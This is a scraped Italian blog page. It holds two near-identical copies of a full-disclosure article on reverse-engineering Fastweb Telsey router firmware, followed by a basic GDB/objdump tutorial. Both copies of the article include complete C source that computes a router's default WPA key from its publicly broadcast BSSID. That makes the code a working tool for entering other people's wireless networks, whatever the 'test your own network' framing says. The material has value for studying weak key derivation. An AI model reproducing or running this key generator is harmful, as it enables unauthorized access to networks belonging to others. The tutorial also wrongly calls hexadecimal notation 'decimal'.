feb
12

HowTo: Algoritmo di generazione delle WPA dei router Fastweb

 

Articolo a cura di Giuseppe Ragozzino

Introduzione

In questo articolo parleremo del procedimento che abbiamo usato per scoprire l algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla società Fastweb.

Pre-Analisi del Firmware

Il Firmware è composto tra diversi binari e un file eseguibile, compilato per processori aventi un architettura MIPS32, chiamato key_gen che contiene l istruzioni che portano al calcolo della wpa. L algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-002196XXXXXX o FASTWEB-1-00036FXXXXXX.

Estrazione del Firmware

Per estrarre il firmware del seguente router abbiamo avuto bisogno dell accesso alla console seriale dell apparecchio.

Ciò è stato possibile grazie all estrapolazione di resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. La CPU è una BCM96358 e quindi MIPS32 BigEndian, dettaglio importante per reversare l eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver impostato i parametri di comunicazione, che sono 115200 baud/s, 8data bit e flow control Xon/Xoff, la console è risultata accessibile e abbiamo potuto verificare che il file key_gen si trovasse nella cartella /bin. A questo punto abbiamo effettuato il dump dell intero firmware e diversi altri file che venivano richiamati dall eseguibile key_gen.

Reverse engineering del Firmware e spiegazioni di parte del codice

Una volta avuto l intero Firmware l abbiamo analizzato con il noto programma di decompilazione IDA, e abbiamo scoperto che all interno del file key_gen è pur vero che sono chiamate altre librerie, ma queste non sono necessarie poichè sono solo librerie di runtime, quindi per capire come agiva l algoritmo ci è bastato solo studiare il contenuto di key_gen. Nell algoritmo vengono trattati il MAC Address BSSID dell apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.

Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo dall algoritmo il primo schema di MAC generico è per il seguente primo MAC 11:22:33:44:55:66, cioè 112233445566, quindi lo schema diventa il seguente (sempre considerando che l architettura è MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell ordine della quartina):

66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,
33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633
55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,
55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,
55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,
22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,
22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,
55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.

Ogni vettore dello schema è costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte significativo è il primo per poi proseguire nell elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un blocco alla volta dando come risultato una sequenza di 4 byte espressa in esadecimale che verrà chiamata S1. La funzione hashword è la seguente:


uint32_t hashword(const uint32_t*, /* the key, an array of uint32_t values */
size_t , /* the length of the key, in uint32_ts */
uint32_t); /* the previous hash, or an arbitrary value */

Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest ultimo valore in seguito diventerà il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l intero vettore. In seguito si dovrà ottenere un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.

Fatto ciò l’algoritmo riapplica la funzione hashword al nuovo vettore ottenenedo una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2. Avuto i valori S1 e S2 possiamo ricavare la WPA finale, che si ottiene prendendo le ultime 5 cifre dell S1 e le prime 5 cifre dell S2.

A tal fine possiamo concludere che i router HAG Telsey distribuiti da Fastweb che sembravano invulnerabili, in realtà lo sono. Chi volesse testare la propria sicurezza può compilare il codice seguente, lanciarlo e poi cambiare WPA di corsa!

Codice

Ecco il codice da compilare per effettuare dei test sulla propria rete:

#include <string.h>
#include <sys/param.h>
#ifdef linux
#include <endian.h>
#endif

#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) &&
     __BYTE_ORDER == __LITTLE_ENDIAN) ||
    (defined(i386) || defined(__i386__) || defined(__i486__) ||
     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))
#define L_ENDIAN 1
#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) &&
       __BYTE_ORDER == __BIG_ENDIAN) ||
      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))
#undef L_ENDIAN
#endif

#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))

#define mix(a,b,c)
{
  a -= c;  a ^= rot(c, 4);  c += b;
  b -= a;  b ^= rot(a, 6);  a += c;
  c -= b;  c ^= rot(b, 8);  b += a;
  a -= c;  a ^= rot(c,16);  c += b;
  b -= a;  b ^= rot(a,19);  a += c;
  c -= b;  c ^= rot(b, 4);  b += a;
}

#define final(a,b,c)
{
  c ^= b; c -= rot(b,14);
  a ^= c; a -= rot(c,11);
  b ^= a; b -= rot(a,25);
  c ^= b; c -= rot(b,16);
  a ^= c; a -= rot(c,4);
  b ^= a; b -= rot(a,14);
  c ^= b; c -= rot(b,24);
}

#define DEBUG 1

uint8_t      mac[6];
uint32_t rTable[64];
uint8_t pTable[256] = {
    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,
    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,
    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,
    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,
    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,
    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,
    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,
    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1
};

uint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)
{
    uint32_t a,b,c;
    a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval;
    while (length > 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}
    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}
    return c;
}

void parseMac(char *m)
{
    mac[0] = (uint8_t)(strtoul(m+0,0,16) & 0xff);
    mac[1] = (uint8_t)(strtoul(m+3,0,16) & 0xff);
    mac[2] = (uint8_t)(strtoul(m+6,0,16) & 0xff);
    mac[3] = (uint8_t)(strtoul(m+9,0,16) & 0xff);
    mac[4] = (uint8_t)(strtoul(m+12,0,16) & 0xff);
    mac[5] = (uint8_t)(strtoul(m+15,0,16) & 0xff);
    return;
}

void createTable(void)
{
#ifdef DEBUG
    printf("mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x
",
     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    printf("
permuTable indexes: ");
    uint8_t *p;
    p = pTable;
    while(*p) {
     printf("%x", *p);
     ++p;
    }
    printf("

permuTable values: ");
#endif
    uint8_t i, j;
    memset((void *)&rTable, 0x0, sizeof(rTable));
    for (i = 0; i < 64; i++) {
     for (j = 0; j < 4; j++) {
       #ifdef L_ENDIAN
        rTable[i] <<= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1];
       #else
        rTable[i] >>= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1] << 24;
       #endif
     }
     #ifdef DEBUG
       printf("%#x ", rTable[i]);
     #endif
    }
}

void createWpa(void)
{
    uint8_t i;
    uint32_t s1 = 0, s2 = 0;

    for (i=0;i<64;++i)
     s1 = hashword(rTable,i,s1);

    #ifdef DEBUG
     printf("

s1 hashword is: %x
", s1);
    #endif
    s1 &= 0x000fffff;
    #ifdef DEBUG
     printf("s1 & 0x000fffff is: %x

permuTable2 values: ", s1);
    #endif

    for (i=0;i<64;++i) {
          if (i < 8 ) rTable[i] <<= 3;
     else if (i < 16) rTable[i] >>= 5;
     else if (i < 32) rTable[i] >>= 2;
        else rTable[i] <<= 7;
        #ifdef DEBUG
               printf("%#x ", rTable[i]);
        #endif
    }

    for (i=0;i<64;++i)
       s2 = hashword(rTable,i,s2);

    #ifdef DEBUG
      printf("

s2 hashword is: %x
", s2);
    #endif

     s2 &= 0xfffff000;
     s2 >>= 12;

    #ifdef DEBUG
     printf("s2 & 0xfffff000 is: %x
", s2);
    #endif

    printf("
wpa: %05x%05x

", s1, s2);

    return;
}

int main(int argc, char *argv[])
{
    if (argc < 2) exit(0);
    char *m = argv[1];
    if (strlen(m) != 17) exit(0);

    #ifdef DEBUG
     printf("
FastWEB Telsey WPA Recovery
		-
");
     printf("
Debug mode is ON, printing stuff to stdout

");
    #endif

    parseMac(m);
    createTable();
    createWpa();

    return 0;
}

Oscene.net non si assume alcuna responsabilità per l uso che verrà fatto dell algoritmo presentato, nè dall uso del sorgente che vi propone. Le tecniche e il codice sono presentati  solo a scopo divulgativo.

Fonte: http://wifiresearchers.wordpress.com/2010/09/09/telsey-fastweb-full-disclosure/

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

feb
12

HowTo: Come scardinare un router Fastweb

 

Articolo a cura di Giuseppe Ragozzino

Introduzione

In questo articolo parleremo del procedimento che abbiamo usato per scoprire l algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla società Fastweb.

Pre-Analisi del Firmware

Il Firmware è composto tra diversi binari e un file eseguibile, compilato per processori aventi un architettura MIPS32, chiamato key_gen che contiene l istruzioni che portano al calcolo della wpa. L algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-002196XXXXXX o FASTWEB-1-00036FXXXXXX.

Estrazione del Firmware

Per estrarre il firmware del seguente router abbiamo avuto bisogno dell accesso alla console seriale dell apparecchio.

Ciò è stato possibile grazie all estrapolazione di resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. La CPU è una BCM96358 e quindi MIPS32 BigEndian, dettaglio importante per reversare l eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver impostato i parametri di comunicazione, che sono 115200 baud/s, 8data bit e flow control Xon/Xoff, la console è risultata accessibile e abbiamo potuto verificare che il file key_gen si trovasse nella cartella /bin. A questo punto abbiamo effettuato il dump dell intero firmware e diversi altri file che venivano richiamati dall eseguibile key_gen.

Reverse engineering del Firmware e spiegazioni di parte del codice

Una volta avuto l intero Firmware l abbiamo analizzato con il noto programma di decompilazione IDA, e abbiamo scoperto che all interno del file key_gen è pur vero che sono chiamate altre librerie, ma queste non sono necessarie poichè sono solo librerie di runtime, quindi per capire come agiva l algoritmo ci è bastato solo studiare il contenuto di key_gen. Nell algoritmo vengono trattati il MAC Address BSSID dell apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.

Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo dall algoritmo il primo schema di MAC generico è per il seguente primo MAC 11:22:33:44:55:66, cioè 112233445566, quindi lo schema diventa il seguente (sempre considerando che l architettura è MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell ordine della quartina):

66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,
33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633
55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,
55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,
55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,
22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,
22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,
55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.

Ogni vettore dello schema è costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte significativo è il primo per poi proseguire nell elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un blocco alla volta dando come risultato una sequenza di 4 byte espressa in esadecimale che verrà chiamata S1. La funzione hashword è la seguente:


uint32_t hashword(const uint32_t*, /* the key, an array of uint32_t values */
size_t , /* the length of the key, in uint32_ts */
uint32_t); /* the previous hash, or an arbitrary value */

Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest ultimo valore in seguito diventerà il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l intero vettore. In seguito si dovrà ottenere un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.

Fatto ciò l’algoritmo riapplica la funzione hashword al nuovo vettore ottenenedo una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2. Avuto i valori S1 e S2 possiamo ricavare la WPA finale, che si ottiene prendendo le ultime 5 cifre dell S1 e le prime 5 cifre dell S2.

A tal fine possiamo concludere che i router HAG Telsey distribuiti da Fastweb che sembravano invulnerabili, in realtà lo sono. Chi volesse testare la propria sicurezza può compilare il codice seguente, lanciarlo e poi cambiare WPA di corsa!

Codice

Ecco il codice da compilare per effettuare dei test sulla propria rete:

#include <string.h>
#include <sys/param.h>
#ifdef linux
#include <endian.h>
#endif

#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) &&
     __BYTE_ORDER == __LITTLE_ENDIAN) ||
    (defined(i386) || defined(__i386__) || defined(__i486__) ||
     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))
#define L_ENDIAN 1
#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) &&
       __BYTE_ORDER == __BIG_ENDIAN) ||
      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))
#undef L_ENDIAN
#endif

#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))

#define mix(a,b,c)
{
  a -= c;  a ^= rot(c, 4);  c += b;
  b -= a;  b ^= rot(a, 6);  a += c;
  c -= b;  c ^= rot(b, 8);  b += a;
  a -= c;  a ^= rot(c,16);  c += b;
  b -= a;  b ^= rot(a,19);  a += c;
  c -= b;  c ^= rot(b, 4);  b += a;
}

#define final(a,b,c)
{
  c ^= b; c -= rot(b,14);
  a ^= c; a -= rot(c,11);
  b ^= a; b -= rot(a,25);
  c ^= b; c -= rot(b,16);
  a ^= c; a -= rot(c,4);
  b ^= a; b -= rot(a,14);
  c ^= b; c -= rot(b,24);
}

#define DEBUG 1

uint8_t      mac[6];
uint32_t rTable[64];
uint8_t pTable[256] = {
    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,
    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,
    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,
    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,
    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,
    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,
    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,
    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1
};

uint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)
{
    uint32_t a,b,c;
    a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval;
    while (length > 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}
    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}
    return c;
}

void parseMac(char *m)
{
    mac[0] = (uint8_t)(strtoul(m+0,0,16) & 0xff);
    mac[1] = (uint8_t)(strtoul(m+3,0,16) & 0xff);
    mac[2] = (uint8_t)(strtoul(m+6,0,16) & 0xff);
    mac[3] = (uint8_t)(strtoul(m+9,0,16) & 0xff);
    mac[4] = (uint8_t)(strtoul(m+12,0,16) & 0xff);
    mac[5] = (uint8_t)(strtoul(m+15,0,16) & 0xff);
    return;
}

void createTable(void)
{
#ifdef DEBUG
    printf("mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x
",
     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    printf("
permuTable indexes: ");
    uint8_t *p;
    p = pTable;
    while(*p) {
     printf("%x", *p);
     ++p;
    }
    printf("

permuTable values: ");
#endif
    uint8_t i, j;
    memset((void *)&rTable, 0x0, sizeof(rTable));
    for (i = 0; i < 64; i++) {
     for (j = 0; j < 4; j++) {
       #ifdef L_ENDIAN
        rTable[i] <<= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1];
       #else
        rTable[i] >>= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1] << 24;
       #endif
     }
     #ifdef DEBUG
       printf("%#x ", rTable[i]);
     #endif
    }
}

void createWpa(void)
{
    uint8_t i;
    uint32_t s1 = 0, s2 = 0;

    for (i=0;i<64;++i)
     s1 = hashword(rTable,i,s1);

    #ifdef DEBUG
     printf("

s1 hashword is: %x
", s1);
    #endif
    s1 &= 0x000fffff;
    #ifdef DEBUG
     printf("s1 & 0x000fffff is: %x

permuTable2 values: ", s1);
    #endif

    for (i=0;i<64;++i) {
          if (i < 8 ) rTable[i] <<= 3;
     else if (i < 16) rTable[i] >>= 5;
     else if (i < 32) rTable[i] >>= 2;
        else rTable[i] <<= 7;
        #ifdef DEBUG
               printf("%#x ", rTable[i]);
        #endif
    }

    for (i=0;i<64;++i)
       s2 = hashword(rTable,i,s2);

    #ifdef DEBUG
      printf("

s2 hashword is: %x
", s2);
    #endif

     s2 &= 0xfffff000;
     s2 >>= 12;

    #ifdef DEBUG
     printf("s2 & 0xfffff000 is: %x
", s2);
    #endif

    printf("
wpa: %05x%05x

", s1, s2);

    return;
}

int main(int argc, char *argv[])
{
    if (argc < 2) exit(0);
    char *m = argv[1];
    if (strlen(m) != 17) exit(0);

    #ifdef DEBUG
     printf("
FastWEB Telsey WPA Recovery
		-
");
     printf("
Debug mode is ON, printing stuff to stdout

");
    #endif

    parseMac(m);
    createTable();
    createWpa();

    return 0;
}

Oscene.net non si assume alcuna responsabilità per l uso che verrà fatto dell algoritmo presentato, nè dall uso del sorgente che vi propone. Le tecniche e il codice sono presentati  solo a scopo divulgativo.

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

lug
03

GDB e Objdump : piccola guida all’uso

 

I tools di sviluppo GNU includono un programma chiamato appunto Objdump che può essere usato per esaminare i dei binari.

Una delle funzioni principali,è quindi quella di essere un disassembler. Per avere una panoramica completa di questa funzione,si può usare il comando:

objdump -Dslx file

dove file è il nostro binario.

Naturalmente un bel

man objdump
ci da tutte le info necessarie,ma vi voglio elencare le principali e forse più usate:

-d : come già detto,disassemblatore
-h : per vedere le intestazioni ELF
–full-contents : per vedere una sezione ELF
-S : ci mostra il source e l’assembly

Facciamo un esempio:

objdump -D a.out |grep main

Ho isolato solo la parte del main,visto che l’output di objdump è davvero lungo. Ho usato un codice di prova di un piccolo client creato da me che iteragiva con un server usando le code di messaggi SysV IPC. L’output è:

08048514 :
8048579: 79 18 jns 8048593
80485be: 74 0b je 80485cb
80485c9: 75 57 jne 8048622
804862b: 74 0b je 8048638
8048636: 75 0c jne 8048644
804864d: 74 0b je 804865a
8048658: 75 70 jne 80486ca
804873f: e9 4f fe ff ff jmp 8048593


ogni byte ha una rappresentazione esadecimale,molto familiare con il nostro linguaggio normale in base 10 ( per chi non lo sapesse,una notazione decimale usa 0-1-2-3-4-5-6-7-8-9-A-B-C-D-E-F come alfabeto ).

Notiamo che nel nostro codice tutto parte dal punto 0×8048514 che non è altro che l’indirizzo di memoria associato.

Non tutti i codici usano una sintassi intel ma volend,possiamo mostrare l’output Intel usando l’opzione -M:

objdump -M intel -D a.out |grep main


provate se non avete un architettura intel Very Happy

Oltre a objdump,abbiamo a disposizione GDB.
GDB viene spes
so usato per mostrare lo stato dei registri prima dell’esecuzione del programma:

gdb -q ./a.out


entreremo nel dgb e potremo usare alcuni comandi,ecco un esempio:

(gdb) break main
Breakpoint 1 at 0×8048522
(gdb) run
Starting program: /home/tanino/Scrivania/client

Breakpoint 1, 0x08048522 in main ()
Current language: auto; currently asm
(gdb) info registers
eax 0×1 1
ecx 0xbffecd70 -1073820304
edx 0xbffecd90 -1073820272
ebx 0xb7f03ff4 -1208991756
esp 0xbffecd54 0xbffecd54
ebp 0xbffecd58 0xbffecd58
esi 0xb7f36ce0 -1208783648
edi 0×0 0
eip 0×8048522 0×8048522
eflags 0×286 [ PF SF IF ]
cs 0×73 115
ss 0×7b 123
ds 0×7b 123
es 0×7b 123
fs 0×0 0
gs 0×33 51

come vedete ho cercato il breakpoint del main e info sui registi. Per uscire dal gdb basta digitare quit.

Tornando ai registri,possiamo dire che i primi quattro ( EAX, ECX, EDX, EBX ) sono registri general purpose,chiamati rispettivamente Accumulator, Counter, Data, and Base registers.

Invece i seguenti 4 registri rispetto ai precedenti sono ESP, EBP, ESI, EDI e sono rispettivamente chiamati Stack Pointer, Base Pointer, Source Index,e Destination Index. ESP (Extended Stack Pointer) è un registro puntatore che contiene l’indirizzo di memoria corrispondente alla testa dello stack. Il registro EIP è invece il registro Instruction Pointer,che punta alla istruzione corrente che il processore sta leggendo.

Eccovi una lista completa:

    EAX – Accumulator — Manipolazione degli operandi e dei risultati delle operazioni logico-aritmetiche, nonché, in genere, del valore restituito dalle funzioni al codice chiamante.
    EBX – Base Addressing — Puntatore ai dati contenuti nel segmento DS (ad esempio, viene usato per contenere l’indirizzo del primo byte di un array o di un tipo di dato complesso, come una struttura o un record).
    ECX – Counter — Usato come contatore nei cicli, nelle istruzioni di shifting e rotazione e nelle operazioni di manipolazione di stringhe.
    EDX — Data — Puntatore nelle operazioni di I/O nonché come registro ausiliario in alcune istruzioni aritmetiche (moltiplicazione e divisione).
    ESI — Source Index — Usato nelle operazioni di manipolazione di stringhe, come puntatore ai dati di partenza. Viene usato anche per contenere l’offset di dati contenuti nel segmento DS (rispetto all’indirizzo di base contenuto in EBX).
    EDI — Destination Index — Usato nelle operazioni di manipolazione di stringhe, come puntatore ai dati di destinazione. Viene usato anche per contenere il puntatore ai dati (o all’indirizzo) di destinazione contenuti nel segmento ES o l’offset di dati contenuti nel segmento DS (rispetto all’indirizzo di base contenuto in EBX).
    EBP — Base Pointer — Puntatore ai dati sullo stack (ad esempio, i parametri e le variabili locali di procedure e funzioni). Viene usato anche per contenere l’indirizzo dei dati contenuti nel segmento SS.
    ESP — Stack Pointer — Puntatore all’ultimo elemento posto sullo stack. Viene anche usato per contenere l’indirizzo di offset di dati contenuti nel segmento SS (rispetto all’indirizzo di base contenuto in EBP).

Il registro EFLAGS invece è un insieme di flags di bit usato per confronti e segmenti di memoria.

E’ tutto per ora..

Popularity: 4% [?]



Puoi visualizzare il post originale qui.

top